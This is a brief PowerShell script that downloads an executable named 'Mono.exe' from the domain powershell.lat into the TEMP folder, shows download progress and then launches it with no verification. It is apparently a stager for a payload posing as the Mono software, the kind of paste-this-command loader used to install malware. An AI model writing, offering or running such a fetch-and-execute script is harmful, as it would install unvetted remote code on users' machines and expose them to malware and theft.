$ErrorActionPreference = 'Stop' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $url = 'https://powershell.lat/Mono.exe' $output = Join-Path $env:TEMP 'Mono.exe' Write-Host "Preparing to download Mono.exe..." -ForegroundColor Cyan $webClient = New-Object System.Net.WebClient $webClient.add_DownloadProgressChanged({ param($sender, $e) # Dynamic updating download progress line Write-Host -NoNewline ("`r[+] Downloading: {0}% ({1} KB of {2} KB) " -f $e.ProgressPercentage, [Math]::Round($e.BytesReceived/1024), [Math]::Round($e.TotalBytesToReceive/1024)) }) $webClient.DownloadFileAsync($url, $output) # Wait until download completes while ($webClient.IsBusy) { Start-Sleep -Milliseconds 100 } Write-Host "`nDownload complete! Launching file..." -ForegroundColor Green Start-Process -FilePath $output